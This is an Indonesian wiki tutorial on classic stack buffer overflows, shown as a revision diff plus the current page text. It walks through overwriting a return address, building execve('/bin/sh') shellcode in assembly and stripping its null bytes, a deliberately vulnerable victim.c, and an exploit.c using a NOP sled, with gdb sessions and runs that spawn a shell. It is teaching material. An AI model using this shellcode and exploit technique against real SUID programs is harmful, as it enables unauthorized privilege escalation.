 
   (char *) ret = buf0 +1 +4;  
 
   (char *) ret = buf0 +1 +4;  
 
   
 
   
akhirnya kita ubah return address :)
+
akhirnya kita ubah return address :)
 
   
 
   
 
   *ret = (hm... berapa ya?)
 
   *ret = (hm... berapa ya?)
 
   
 
   
sebaiknya kita gunakan variabel saja supaya gampang diubah,
+
sebaiknya kita gunakan variabel saja supaya gampang diubah,
sehingga lengkapnya program kita adalah:
+
sehingga lengkapnya program kita adalah:
 
   
 
   
 
  contoh3.c
 
  contoh3.c
Line 725: Line 725:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
   
 
   
Program diatas akan memindahkan alur program sejauh input yang
+
Program diatas akan memindahkan alur program sejauh input yang
kita berikan. Jangan terlalu diperhatikan baris-baris perintah
+
kita berikan. Jangan terlalu diperhatikan baris-baris perintah
main() sebelum pemanggilan func. itu cuma inisialisasi serta
+
main() sebelum pemanggilan func. itu cuma inisialisasi serta
pengechekan input.
+
pengechekan input.
 
   
 
   
setelah pemanggilan fungsi func *seharusnya* program melaksanakan
+
setelah pemanggilan fungsi func *seharusnya* program melaksanakan
perintah berikutnya yaitu print#1, tapi jika kita inputkan suatu
+
perintah berikutnya yaitu print#1, tapi jika kita inputkan suatu
nilai tertentu sebagai argument maka program akan dilompatkan
+
nilai tertentu sebagai argument maka program akan dilompatkan
sejauh nilai yang kita berikan.
+
sejauh nilai yang kita berikan.
 
   
 
   
 
  [aa]$./contoh3
 
  [aa]$./contoh3
Line 741: Line 741:
 
  print#4 shell2: /usr/local/bin/bash
 
  print#4 shell2: /usr/local/bin/bash
 
   
 
   
kita coba beberapa buah nilai:
+
kita coba beberapa buah nilai:
 
   
 
   
 
  [aa]$./contoh3 1
 
  [aa]$./contoh3 1
Line 760: Line 760:
 
   
 
   
 
   
 
   
Maksudnya apa sih?
+
Maksudnya apa sih?
+
 
Oh iya, saya belum cerita ya? maksudnya kita mau mencoba untuk
+
Oh iya, saya belum cerita ya? maksudnya kita mau mencoba untuk
(misalnya) melompat langsung kepada printf#3, melewati print#1
+
(misalnya) melompat langsung kepada printf#3, melewati print#1
dan print#2.
+
dan print#2.
+
 
kita debug saja deh...
+
kita debug saja deh...
 
   
 
   
 
  [aa]$gdb -q contoh3
 
  [aa]$gdb -q contoh3
Line 827: Line 827:
 
  [aa]$
 
  [aa]$
 
   
 
   
Cuekin saja baris-baris kode diatas tidak kita perlukan, Yang
+
Cuekin saja baris-baris kode diatas tidak kita perlukan, Yang
kita butuh adalah address setelah func dipanggil (address ini
+
kita butuh adalah address setelah func dipanggil (address ini
di-push ke stack pada saat pemanggilan func, nilai inilah yang
+
di-push ke stack pada saat pemanggilan func, nilai inilah yang
kita rubah dalam fungsi func)
+
kita rubah dalam fungsi func)
+
 
 
  .
 
  .
 
  0x804822d <main+65>:    call  0x80481c4 <func>
 
  0x804822d <main+65>:    call  0x80481c4 <func>
Line 837: Line 837:
 
  .
 
  .
 
   
 
   
...serta address setelah print#2 dipanggil. kita akan
+
...serta address setelah print#2 dipanggil. kita akan
mengalihkan alur program ke sini.
+
mengalihkan alur program ke sini.
 
   
 
   
 
  .
 
  .
Line 845: Line 845:
 
  .
 
  .
 
   
 
   
Untuk mengalihkan alur program dari address pertama diatas kepada
+
Untuk mengalihkan alur program dari address pertama diatas kepada
address kedua, berarti return address harus diubah (ditambah)
+
address kedua, berarti return address harus diubah (ditambah)
sebesar selisih antara keduanya.
+
sebesar selisih antara keduanya.
 
   
 
   
Dengan aljabar sederhana kita peroleh displacement offsetnya
+
Dengan aljabar sederhana kita peroleh displacement offsetnya
adalah sebesar: <main+113> - <main+70> = 113 - 70 = 43
+
adalah sebesar: <main+113> - <main+70> = 113 - 70 = 43
 
   
 
   
+
Mari kita coba sekali lagi...
Mari kita coba sekali lagi...
 
 
   
 
   
 
  [aa]$./contoh3 43
 
  [aa]$./contoh3 43
Line 860: Line 859:
 
  [aa]$
 
  [aa]$
 
   
 
   
OK! :))
+
OK! :))
 
   
 
   
 
   
 
   
3.3. Exec Syscall
+
===Exec Syscall===
 
   
 
   
Setelah sukses pertama membelokkan alur program ke tempat yang
+
Setelah sukses pertama membelokkan alur program ke tempat yang
kita kehendaki selanjutnya kita perlu memilih apa yang akan kita
+
kita kehendaki selanjutnya kita perlu memilih apa yang akan kita
jalankan dan dimana ditempatkannya. Umumnya program akan
+
jalankan dan dimana ditempatkannya. Umumnya program akan
diarahkan untuk menjalankan shell /bin/sh, karena dari situ
+
diarahkan untuk menjalankan shell /bin/sh, karena dari situ
praktis kita dapat menjalankan yang lainnya terserah kita,
+
praktis kita dapat menjalankan yang lainnya terserah kita,
apalagi jika program yang diekploit tersebut SUID root maka tunai
+
apalagi jika program yang diekploit tersebut SUID root maka tunai
sudah suratan, dan mereka hidup bahagia selamanya sampai akhir
+
sudah suratan, dan mereka hidup bahagia selamanya sampai akhir
hayat. eng- ing- eeeng...
+
hayat. eng- ing- eeeng...
 
   
 
   
untuk spawning shell code kita lihat lihat dan pelajari prototype
+
untuk spawning shell code kita lihat lihat dan pelajari prototype
dari fungsi execve(2).
+
dari fungsi execve(2).
 
   
 
   
 
  [aa]$man execve
 
  [aa]$man execve
Line 894: Line 893:
 
   Execve() transforms the calling process.. bla-bla-bla...
 
   Execve() transforms the calling process.. bla-bla-bla...
 
    
 
    
Fungsi ini adalah embahnya fungsi-fungsi exec yang lain,
+
Fungsi ini adalah embahnya fungsi-fungsi exec yang lain,
front-end-nya bisa berupa execl, execlp, execle, exect, execv
+
front-end-nya bisa berupa execl, execlp, execle, exect, execv
dan execvp. Jika execve sukses dijalankan, selanjutnya program
+
dan execvp. Jika execve sukses dijalankan, selanjutnya program
kita bisa jalan sendiri tidak perlu lagi balik atau terikat oleh
+
kita bisa jalan sendiri tidak perlu lagi balik atau terikat oleh
proses yang memanggilnya. Cocok-lah dengan keinginan kita :)
+
proses yang memanggilnya. Cocok-lah dengan keinginan kita :)
 
   
 
   
arg1 (path) harus berisi path string lengkap dari program yang
+
arg1 (path) harus berisi path string lengkap dari program yang
akan kita jalankan, sementara arg2 (argv), adalah argumen list
+
akan kita jalankan, sementara arg2 (argv), adalah argumen list
(array dari strings alias pointer ke pointer).
+
(array dari strings alias pointer ke pointer).
Kedua argumen ini *harus* diisi dengan benar.
+
Kedua argumen ini *harus* diisi dengan benar.
 
   
 
   
kita isi arg1 (path) dengan string "/bin/sh" (shell), dan arg2
+
kita isi arg1 (path) dengan string "/bin/sh" (shell), dan arg2
dengan pointer ke string tsb. dengan NULL sebagai terminator.
+
dengan pointer ke string tsb. dengan NULL sebagai terminator.
 
   
 
   
baca-baca juga manual exit(3) dan _exit(2) ya?
+
baca-baca juga manual exit(3) dan _exit(2) ya?
 
langsung saja kita lihat program berikut listing assembly-nya:
 
 
   
 
   
 +
langsung saja kita lihat program berikut listing assembly-nya:
 +
 
  contoh4.c
 
  contoh4.c
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
Line 925: Line 924:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
   
 
   
Hm... sebentar, kita bahas dulu dua instruksi assembler yang agak
+
Hm... sebentar, kita bahas dulu dua instruksi assembler yang agak
mirip-mirip, dan bisa membingungkan bahkan menyesatkan yaitu MOV
+
mirip-mirip, dan bisa membingungkan bahkan menyesatkan yaitu MOV
mem,reg dengan LEA mem,reg: LEA artinya Load Effective Address,
+
mem,reg dengan LEA mem,reg: LEA artinya Load Effective Address,
sementara MOV artinya menyalin/mengkopi isi memori/register.
+
sementara MOV artinya menyalin/mengkopi isi memori/register.
 
   
 
   
 
  gambar-3.3.
 
  gambar-3.3.
Line 938: Line 937:
 
  000        92              100
 
  000        92              100
 
   
 
   
misalkan jika nilai SP sekarang adalah 92, maka instruksi MOVL
+
misalkan jika nilai SP sekarang adalah 92, maka instruksi MOVL
%ESP,%EAX akan menyalin *isi* ESP seukuran dword atau 12345678
+
%ESP,%EAX akan menyalin *isi* ESP seukuran dword atau 12345678
kedalam EAX. jadi, EAX=12345678, sedangkan LEAL %ESP,%EAX akan
+
kedalam EAX. jadi, EAX=12345678, sedangkan LEAL %ESP,%EAX akan
menyalin *address* ESP atau 00000092 ke dalam EAX. jadi,
+
menyalin *address* ESP atau 00000092 ke dalam EAX. jadi,
EAX=00000092.
+
EAX=00000092.
 
   
 
   
Dalam syntax intel, instruksi LEA EAX,ESP identik dengan  
+
Dalam syntax intel, instruksi LEA EAX,ESP identik dengan  
 
   mov EAX, OFFSET [ESP]
 
   mov EAX, OFFSET [ESP]
 
   
 
   
Dalam syntax att, jika operand untuk mov memakai prefix ($)
+
Dalam syntax att, jika operand untuk mov memakai prefix ($)
maka yang diambil adalah: address-nya. Sebaliknya jika tidak
+
maka yang diambil adalah: address-nya. Sebaliknya jika tidak
memakai prefix, maka yang diambil adalah: isi-memori-nya
+
memakai prefix, maka yang diambil adalah: isi-memori-nya
 
   
 
   
 
  movl $var,%eax => EAX = address var
 
  movl $var,%eax => EAX = address var
 
  movl var,%eax  => EAX = nilai/isi memori dari var
 
  movl var,%eax  => EAX = nilai/isi memori dari var
 
   
 
   
hati-hati, immediate operand (biasanya berupa angka), justru
+
hati-hati, immediate operand (biasanya berupa angka), justru
menggunakan prefix $ seperti dalam: movl $-123,%eax, artinya
+
menggunakan prefix $ seperti dalam: movl $-123,%eax, artinya
menjadikan EAX bernilai -123.
+
menjadikan EAX bernilai -123.
 
   
 
   
Sebaliknya untuk pengalamatan tidak langsung oleh register,
+
Sebaliknya untuk pengalamatan tidak langsung oleh register,
notasinya adalah memakai tanda kurung.
+
notasinya adalah memakai tanda kurung.
 
   
 
   
 
  mov (%ebx),%eax  : salin isi memory yang alamatnya ditampung
 
  mov (%ebx),%eax  : salin isi memory yang alamatnya ditampung
Line 965: Line 964:
 
  mov %ebx,%eax    : salin nilai BX kedalam AX
 
  mov %ebx,%eax    : salin nilai BX kedalam AX
 
   
 
   
Kita lihat bahwa offset memory sama dengan nilai BX itu sendiri,
+
Kita lihat bahwa offset memory sama dengan nilai BX itu sendiri,
jadi jika/selama tidak terdapat displacement lainnya dalam base
+
jadi jika/selama tidak terdapat displacement lainnya dalam base
indexing, maka instruksi: "lea (%ebx),%eax" hasilnya adalah sama
+
indexing, maka instruksi: "lea (%ebx),%eax" hasilnya adalah sama
saja dengan instruksi: "mov %ebx,%eax"
+
saja dengan instruksi: "mov %ebx,%eax"
 
   
 
   
begitu kira-kira, bingun? yah enggak apa-lah, saya juga enggak
+
begitu kira-kira, bingun? yah enggak apa-lah, saya juga enggak
yakin he-he-he.
+
yakin he-he-he.
 
   
 
   
(enggak deh, bo-ong,.. cuma becanda, segitu aja marah, bener
+
(enggak deh, bo-ong,.. cuma becanda, segitu aja marah, bener
begitu koq. sungguh deh... please...)
+
begitu koq. sungguh deh... please...)
 
   
 
   
udah ah, kita lanjut... listingnya adalah sbb:
+
udah ah, kita lanjut... listingnya adalah sbb:
 
   
 
   
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
Line 1,011: Line 1,010:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
   
 
   
Kita ambil beberapa baris assembly yang kita perlukan untuk
+
Kita ambil beberapa baris assembly yang kita perlukan untuk
menyusun program kita, yaitu pemanggilan spawning dengan execve
+
menyusun program kita, yaitu pemanggilan spawning dengan execve
dan clean exit
+
dan clean exit
 
   
 
   
 
  [aa]$gdb -q contoh4
 
  [aa]$gdb -q contoh4
Line 1,083: Line 1,082:
 
   
 
   
 
   
 
   
3.4. Shellcode
+
===Shellcode===
 
   
 
   
Nah sekarang kita cukup punya bahan. Menggunakan trik lama, kita
+
Nah sekarang kita cukup punya bahan. Menggunakan trik lama, kita
masukkan address string ke stack dengan perintah: "call".
+
masukkan address string ke stack dengan perintah: "call".
 
   
 
   
 
  contoh5.c (assembler code)
 
  contoh5.c (assembler code)
Line 1,120: Line 1,119:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
   
 
   
lalu tinggal kita masukkan ke dalam block assembler int main() {
+
lalu tinggal kita masukkan ke dalam block assembler int main() {
asm(" xxxx "); }, selesailah sudah :) mari kita test hasilnya:
+
asm(" xxxx "); }, selesailah sudah :) mari kita test hasilnya:
 
   
 
   
 
  [aa]$./contoh5
 
  [aa]$./contoh5
Line 1,129: Line 1,128:
 
  [aa]$
 
  [aa]$
 
   
 
   
Lalu kita ambil kode-bytenya dengan debugger.
+
Lalu kita ambil kode-bytenya dengan debugger.
Catatan: supaya kelihatan rapi sebaiknya gunakan mode layar
+
Catatan: supaya kelihatan rapi sebaiknya gunakan mode layar
minimal 86 kolom. saran saya gunakan x windows atau pake putty
+
minimal 86 kolom. saran saya gunakan x windows atau pake putty
telnet, tinggal copy-paste :)
+
telnet, tinggal copy-paste :)
 
   
 
   
 
  [aa]$gdb -q contoh5
 
  [aa]$gdb -q contoh5
Line 1,180: Line 1,179:
 
  [aa]$
 
  [aa]$
 
   
 
   
hmm... tapi, masih banyak byte 00 di dalamnya, ini tidak bagus
+
hmm... tapi, masih banyak byte 00 di dalamnya, ini tidak bagus
buat BO, string yang akan kita inputkan bisa putus di tengah
+
buat BO, string yang akan kita inputkan bisa putus di tengah
jalan. Tapi tidak apalah, ini cuma sekedar contoh, banyak
+
jalan. Tapi tidak apalah, ini cuma sekedar contoh, banyak
shelcodes berserakan di rimba kang-ouw, tinggal kita pungut mana
+
shelcodes berserakan di rimba kang-ouw, tinggal kita pungut mana
yang kita mau sesuai OS target.
+
yang kita mau sesuai OS target.
 
   
 
   
 
   
 
   
3.5. Merapikan Shellcode
+
===Merapikan Shellcode===
 
   
 
   
Shellcode yang efektif, menghasilkan kode byte yang tidak
+
Shellcode yang efektif, menghasilkan kode byte yang tidak
mengandung karakter kontrol (0 - 0x1F), malah kalau bisa juga
+
mengandung karakter kontrol (0 - 0x1F), malah kalau bisa juga
tidak mengandung simbol-simbol tertentu seperti backslash (\),
+
tidak mengandung simbol-simbol tertentu seperti backslash (\),
single/doublequotes ('/"), anglebracket (<>) dsb.
+
single/doublequotes ('/"), anglebracket (<>) dsb.
 
   
 
   
Trik-trik yang bisa digunakan a.l.:
+
Trik-trik yang bisa digunakan a.l.:
1. mengganti perintah MOV X dengan pasangan PUSH/POP
+
# mengganti perintah MOV X dengan pasangan PUSH/POP
2. menggunakan XOR untuk mereset nilai (membuatnya 0)  
+
# menggunakan XOR untuk mereset nilai (membuatnya 0)  
3. mengganti perintah ADD N dengan SUB -N  
+
# mengganti perintah ADD N dengan SUB -N  
 
   
 
   
lain-lain:
+
lain-lain:
- jika menggunakan displacement index, perbesar/tambah
+
* jika menggunakan displacement index, perbesar/tambah offset hingga lebih dari 0x20
  offset hingga lebih dari 0x20
+
* usahakan jumlah kode-byte merupakan kelipatan 4
- usahakan jumlah kode-byte merupakan kelipatan 4
 
 
   
 
   
Shellcode dibawah ini memodifikasi kodenya sendiri (self-
+
Shellcode dibawah ini memodifikasi kodenya sendiri (self-
modifying) yaitu dengan mengisi NULL dibelakang "/bin/sh", serta
+
modifying) yaitu dengan mengisi NULL dibelakang "/bin/sh", serta
menyimpan nilai di dua lokasi memori setelahnya (seukuran 2
+
menyimpan nilai di dua lokasi memori setelahnya (seukuran 2
pointer atau 8 byte). Jadi, program dibawah ini tidak bisa
+
pointer atau 8 byte). Jadi, program dibawah ini tidak bisa
langsung dijalankan, (hanya untuk diambil code-byte-nya saja).
+
langsung dijalankan, (hanya untuk diambil code-byte-nya saja).
 
   
 
   
 
  contoh6.c
 
  contoh6.c
Line 1,283: Line 1,281:
 
  (gdb) [aa]$
 
  (gdb) [aa]$
 
   
 
   
setelah kita lihat formatnya, langsung kita copy saja ke file
+
setelah kita lihat formatnya, langsung kita copy saja ke file
contoh7.c supaya tidak repot
+
contoh7.c supaya tidak repot
 
   
 
   
 
  [aa]$echo "x/56b main+3" | gdb -q contoh6 |\
 
  [aa]$echo "x/56b main+3" | gdb -q contoh6 |\
Line 1,300: Line 1,298:
 
  [aa]$
 
  [aa]$
 
   
 
   
lalu kita edit.
+
lalu kita edit.
 
   
 
   
 
  contoh7.c
 
  contoh7.c
Line 1,322: Line 1,320:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
   
 
   
Selanjutnya dikompile dan langsung dicoba:
+
Selanjutnya dikompile dan langsung dicoba:
 
   
 
   
 
  [aa]$gcc -o contoh7 contoh7.c
 
  [aa]$gcc -o contoh7 contoh7.c
Line 1,341: Line 1,339:
 
   
 
   
 
   
 
   
3.6. Exploit
+
===Exploit===
 
   
 
   
Pada saat sebuah fungsi dijalankan, dimanapun levelnya berada,
+
Pada saat sebuah fungsi dijalankan, dimanapun levelnya berada,
awalnya nilai SP-nya selalu sama (nilainya tergantung kepada OS
+
awalnya nilai SP-nya selalu sama (nilainya tergantung kepada OS
ybs.).  Seperti diketahui, return value dari sebuah fungsi
+
ybs.).  Seperti diketahui, return value dari sebuah fungsi
diperoleh dari nilai register AX, maka dengan menyalin SP ke AX,
+
diperoleh dari nilai register AX, maka dengan menyalin SP ke AX,
kita dapat mengambil nilai SP untuk diproses lebih lanjut.
+
kita dapat mengambil nilai SP untuk diproses lebih lanjut.
 
   
 
   
 
  unsigned long SP(void) {
 
  unsigned long SP(void) {
Line 1,353: Line 1,351:
 
  }
 
  }
 
   
 
   
Namun sayangnya kita tidak tahu posisi sebenarnya dari buffer
+
Namun sayangnya kita tidak tahu posisi sebenarnya dari buffer
yang akan kita overflow, jadi mau tidak mau ya harus dikira-kira
+
yang akan kita overflow, jadi mau tidak mau ya harus dikira-kira
saja sendiri :). Misalnya seperti gambar di bawah ini, jika bufY
+
saja sendiri :). Misalnya seperti gambar di bawah ini, jika bufY
adalah buffer yang exploitable, maka posisinya di stack adalah SP
+
adalah buffer yang exploitable, maka posisinya di stack adalah SP
minus seluruh offset dari buf1 s.d. bufY. Oleh sebab itulah dalam
+
minus seluruh offset dari buf1 s.d. bufY. Oleh sebab itulah dalam
program nanti kita perlu menambah satu variabel yang bisa merubah
+
program nanti kita perlu menambah satu variabel yang bisa merubah
offset stack ini.
+
offset stack ini.
 
   
 
   
 
  gambar-3.6a.
 
  gambar-3.6a.
Line 1,368: Line 1,366:
 
                                                   |
 
                                                   |
 
   
 
   
Tujuan utama kita adalah menimpa return-address yang disimpan di
+
Tujuan utama kita adalah menimpa return-address yang disimpan di
stack agar mengarah kembali ke SP yang berisi shellcode kita.
+
stack agar mengarah kembali ke SP yang berisi shellcode kita.
Untuk menambah peluang keberhasilan, kita bungkus shellcode
+
Untuk menambah peluang keberhasilan, kita bungkus shellcode
dengan deretan NOP di depannya serta barisan return-address di
+
dengan deretan NOP di depannya serta barisan return-address di
belakangnya.
+
belakangnya.
 
   
 
   
 
  gambar-3.6b.
 
  gambar-3.6b.
Line 1,384: Line 1,382:
 
   
 
   
 
   
 
   
Pada umumnya address alignment adalah 4, artinya data disimpan
+
Pada umumnya address alignment adalah 4, artinya data disimpan
dalam address memori dalam kelipatan 4, intel sendiri, dengan
+
dalam address memori dalam kelipatan 4, intel sendiri, dengan
alasan performansi, memang menyarankan minimal dalam word
+
alasan performansi, memang menyarankan minimal dalam word
boundary (kelipatan 2), dalam praktek, compiler seperti gcc malah
+
boundary (kelipatan 2), dalam praktek, compiler seperti gcc malah
melipatnya dalam 8 atau 16 (seperti kita lihat pada contoh-contoh
+
melipatnya dalam 8 atau 16 (seperti kita lihat pada contoh-contoh
diatas yang melakukan perapian stack dalam kelipatan 16 (biasa
+
diatas yang melakukan perapian stack dalam kelipatan 16 (biasa
disebut juga 1 paragraph). Dalam program exploit nanti, kita akan
+
disebut juga 1 paragraph). Dalam program exploit nanti, kita akan
mengakomodasi kemungkinan anomali atas address alignment, buat
+
mengakomodasi kemungkinan anomali atas address alignment, buat
mengakali program-program yang mungkin dikompile secara tidak
+
mengakali program-program yang mungkin dikompile secara tidak
standar atau dipatch secara biner sembarangan, udik, kampungan,
+
standar atau dipatch secara biner sembarangan, udik, kampungan,
dsb. dsb.
+
dsb. dsb.
 
Oke deh kakak, untuk menguji shellcode, kita buat dulu sebuah
 
program yang secara tidak senonoh, menyalin argumen ke buffernya
 
tanpa melakukan pengechekan dhulu sebhelumnyha:
 
 
   
 
   
 +
Oke deh kakak, untuk menguji shellcode, kita buat dulu sebuah
 +
program yang secara tidak senonoh, menyalin argumen ke buffernya
 +
tanpa melakukan pengechekan dhulu sebhelumnyha:
 +
 
  victim.c
 
  victim.c
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
Line 1,412: Line 1,410:
 
  ------------------------------------------------------------
 
  ------------------------------------------------------------
 
   
 
   
Selanjutnya kita buat program yang menyalin exploit kode ke
+
Selanjutnya kita buat program yang menyalin exploit kode ke
environment, yang lantas bisa kita inputkan nantinya (supaya
+
environment, yang lantas bisa kita inputkan nantinya (supaya
tidak perlu diketik manual), sebagai argumen untuk program
+
tidak perlu diketik manual), sebagai argumen untuk program
victim diatas.
+
victim diatas.
 
   
 
   
Program ini dapat dipanggil dengan argumen kustomisasi yaitu
+
Program ini dapat dipanggil dengan argumen kustomisasi yaitu
[bufsize] [offset] [alignment] dengan nilai default: 512 0 0
+
[bufsize] [offset] [alignment] dengan nilai default: 512 0 0
 
   
 
   
 
  exploit.c
 
  exploit.c
Line 1,520: Line 1,518:
 
  [aa]$gcc -o exploit exploit.c
 
  [aa]$gcc -o exploit exploit.c
 
   
 
   
Dengan contoh exploitable-buffer sebesar 256 bytes pada program
+
Dengan contoh exploitable-buffer sebesar 256 bytes pada program
victim diatas, kita coba program exploit untuk mengeset
+
victim diatas, kita coba program exploit untuk mengeset
environment variabel BUF dengan exploit-code yang panjangnya 300
+
environment variabel BUF dengan exploit-code yang panjangnya 300
(bytes)
+
(bytes)
 
   
 
   
 
  [aa]$./exploit 300
 
  [aa]$./exploit 300
Line 1,532: Line 1,530:
 
  Environment variable: "BUF"
 
  Environment variable: "BUF"
 
   
 
   
Program exploit membuka shell baru dengan environment "BUF" yang
+
Program exploit membuka shell baru dengan environment "BUF" yang
di-set sesuai exploit-code (300 bytes). Lalu inputkan
+
di-set sesuai exploit-code (300 bytes). Lalu inputkan
exploit-code tsb. menjadi argumen untuk program victim:
+
exploit-code tsb. menjadi argumen untuk program victim:
 
   
 
   
 
  [aa]$./victim "$BUF"
 
  [aa]$./victim "$BUF"
Line 1,541: Line 1,539:
 
  [aa]$
 
  [aa]$
 
   
 
   
Yaah... hasilnya kacau :(, kita keluar saja deh...
+
Yaah... hasilnya kacau :(, kita keluar saja deh...
+
 
 
  [aa]$exit
 
  [aa]$exit
 
  exit
 
  exit
 
  [aa]$
 
  [aa]$
 
   
 
   
Rupanya ada yang kelupaan, karena exploitable-buffer dalam
+
Rupanya ada yang kelupaan, karena exploitable-buffer dalam
program victim diatas besarnya adalah 256 bytes, maka sebaiknya
+
program victim diatas besarnya adalah 256 bytes, maka sebaiknya
kita kurangi SP sebesar kira-kira segitu, yaitu dengan
+
kita kurangi SP sebesar kira-kira segitu, yaitu dengan
menggunakan offset, misalnya 200 lah...
+
menggunakan offset, misalnya 200 lah...
 
   
 
   
 
  [aa]$./exploit 300 200
 
  [aa]$./exploit 300 200
Line 1,560: Line 1,558:
 
  [aa]$
 
  [aa]$
 
   
 
   
Dengan cara yang sama seperti diatas, kita embat lagi buffernya
+
Dengan cara yang sama seperti diatas, kita embat lagi buffernya
 
   
 
   
 
  [aa]$./victim "$BUF"
 
  [aa]$./victim "$BUF"
Line 1,566: Line 1,564:
 
  $ => (INI ADALAH SHELL)
 
  $ => (INI ADALAH SHELL)
 
   
 
   
Wow! kereen... :).
+
Wow! kereen... :).
 
   
 
   
 
  $ exit
 
  $ exit
Line 1,573: Line 1,571:
 
  [aa]$
 
  [aa]$
 
   
 
   
Coba lagi nilai lainnya, nilai offset mestinya lebih besar dari
+
Coba lagi nilai lainnya, nilai offset mestinya lebih besar dari
mid (middle point of buffer) supaya return address jatuhnya di
+
mid (middle point of buffer) supaya return address jatuhnya di
bantalan NOP yang empuk.
+
bantalan NOP yang empuk.
 
   
 
   
 
  [aa]$./exploit 400 300
 
  [aa]$./exploit 400 300
Line 1,598: Line 1,596:
 
   
 
   
 
   
 
   
4. Penutup
+
==Penutup==
Udah-ah, capek :)
+
 
 +
Udah-ah, capek :)
 +
 
 +
 
 
  _________________________________________________________________
 
  _________________________________________________________________
 
  Bacaan:
 
  Bacaan:
Line 1,610: Line 1,611:
 
  20030415
 
  20030415
 
  20030417
 
  20030417
 +
 +
 +
==Pranala Menarik==
 +
 +
* [[Beberapa Tip Hacking]]

Latest revision as of 08:08, 31 March 2011

Pendahuluan

Salah satu jenis vulnerability klasik yang hingga saat ini masih aja terjadi adalah Buffer Overflow (BO). Dalam tulisan ini saya akan berusaha menjelaskan apa dan bagaimana BO terjadi dengan cara sederhana hingga bisa dipahami (mudah-mudahan) oleh target audiens pemula sekalipun.

Prinsip dasar BO sebenarnya sederhana saja yaitu: mengalihkan alur program (tentu saja untuk mengarahkannya ke program/code yang kita buat sendiri :)).

Hal itu bisa terjadi akibat data yang diinputkan oleh user melebihi kapasitas tampung (buffer) yang disediakan oleh program. Jika program tidak menghandel kejadian ini dengan baik, luapan data tadi akan menimpa bagian-bagian penting lainnya dari program.

Data yang diinputkan ini bisa kita atur sedemikian rupa sehingga sebenarnya adalah sebuah program yang melakukan apa yang kita inginkan.

Untuk memahami lebih lanjut terjadinya, sebelumnya kita perlu mengenal bagaimana organisasi memori ketika program berjalan, terutama bagian STACK yang merupakan target utama exploit BO, selain itu juga kita perlu mengerti detail mekanisme pemanggilan fungsi/procedure dalam C. Pengetahuan tentang assembler dan debugging juga akan sangat membantu, tapi itu tidak mutlak, jadi tenang saja, OK? :).


Dasar Teori

Memori & addressing

Sebenarnya komputer yang kita anggap canggih ini cuma sederetan data (yang disimpan di memori komputer).

gambar-2.1a.

  |-----------------------/ /-----------------------------| 
  | | | | | | | | | | | | / / | | | | | | | | | | | | | | | 
  |-----------------------/ /-----------------------------| 
  0000                                                     4G
  Bottom                                                  Top

Ya, tidak lebih dari itu.

Atau begini...

gambar-2.1b.

  |----| 4G / Top
  |----|
  |----|
  |----|
  |----|
  /    /
  |----|
  |----|
  |----|
  |----|
  |----| 0000 / Bottom

Setiap byte dari memori itu dinomori, supaya mudah mencarinya Begitulah addressing dilakukan, mudah sekali bukan?

Setiap byte memori diatas tadi mampu menampung data sebesar... ya 1 byte :). atau disebut juga 1 character, karena kalau kita ngetik satu huruf berarti membutuhkan 1 byte (sebetulnya bukan itu sih sebabnya, tapi anggap saja begitu deh).

1 byte itu adalah angka, antara 0 s.d. 255. tergantung dulunya diisi berapa. tapi tidak mungkin diluar itu karena kemampuan seorang byte hanyalah segitu.

sebenarnya sih 1 byte itu terdiri dari 8 bit yang berjejer. masing-masing hanya mampu bilang ya atau tidak (1 atau 0). Nah, kombinasinya kan bisa berbeda-beda tuh? jadi dengan bersama-sama mereka bisa menyatakan 256 nilai yang berbeda. Umumnya dinyatakan dalam bilangan hexa 00 s.d. FF.

1 word artinya 2 byte. 1 dword = 2 word = 4 byte.

Jadi misalnya, kalau kita mengambil data 1 dword dari alamat memori 1000, maka kita akan diberi segumpal data dari 1000, 1001, 1002 dan 1003.

Persis seperti peribahasa, bersatu kita teguh, bercerai kawin lagi, kapasitas representasi biner meningkat secara eksponensial jika digabung. contoh, gabungan 2 byte menjadi 1 word mampu menyatakan kombinasi antara 0..FFFF (0..65535) seterusnya kapasitas 1 dword adalah 0..FFFFFFFF atau 0..4294836225. and on.. and on..


Program Execution

Pada saat program di-load ke memori, susunan bagian-bagiannya adalah seperti gambar dibawah ini, (cat. angka-angka address di sini hanya untuk keperluan visualisasi saja):

gambar-2.2.
______________________________________________
     |                             |
     | TEXT/     DATA      STACK   | HEAP
     | CODE                        | 
_____|_____________________________|__________
0000 | 0100      0500      0800    | 1000
     |                             |
     *-------program victim--------*


TEXT/CODE adalah tempat instruksi program berada, bagian ini umumnya bersifat read-only, setiap usaha untuk merubahnya akan berakhir di segmentation violaton.

DATA berisi data konstan, variable statik dll initialized/ uninitialized data, kecuali terjadi stress yang menyebabkan reorganisasi memori, ukurannya relatif tetap, meskipun tidak read-only seperti bagian TEXT.

STACK tempat menampung tumpukan data sementara, dengan operasi khas-nya yaitu PUSH untuk menaruh data diatas tumpukan, dan POP untuk mengambil data dari atas tumpukan. seperti itulah caranya, jadi dengan operasi PUSH/POP kita tidak bisa mengambil data dari tengah.

HEAP adalah daerah memori yang bebas digunakan oleh program.


Operasi Stack

Seperti telah disebutkan diatas, kita hanya dapat menyimpan atau mengambil tumpukan paling atas dari stack (atau paling bawah tergantung bagaimana anda memandangnya :))

Cuma 3 register yang terkait erat dalam operasi stack ini yaitu Stack Segment, Stack Pointer dan Base Pointer (SS, SP dan BP), kita tidak usah pedulikan segmen register, itu urusan kernel (kecuali kalau kita mau buat program di DOS dengan model segmented memory-nya), jadi yang perlu kita tahu cuma SP dan BP . keduanya tidak lebih adalah penunjuk posisi stack. bedanya, SP naik/turun oleh instruksi PUSH/POP, sementara BP tidak, terserah mau kita isi berapa atau bahkan tidak dipakai sama sekali juga tidak apa-apa.

lho jadi apanya yang sulit? ya tidak ada.

perintah PUSH/POP bisa dilakukan untuk bilangan 16bit atau 32bit, atau operasi khusus push all/pop all. SP berkurang/ bertambah sesuai tipe data ini (sejumlah byte yang diperlukan untuk menampung data tsb).

push 16bit_data, SP berkurang 2 push 32bit_data, SP berkurang 4 pusha, SP berkurang 16 pushad, SP berkurang 32

misalnya nilai SP pertama adalah 0100,

  char C;	//character (1 byte)
  short I;	//integer (2 byte)
  long L;	//long integer (4 byte)
  int * P;	//pointer (4 byte)

lalu kita melakukan perintah sbb:

  push C
  push I
  push L
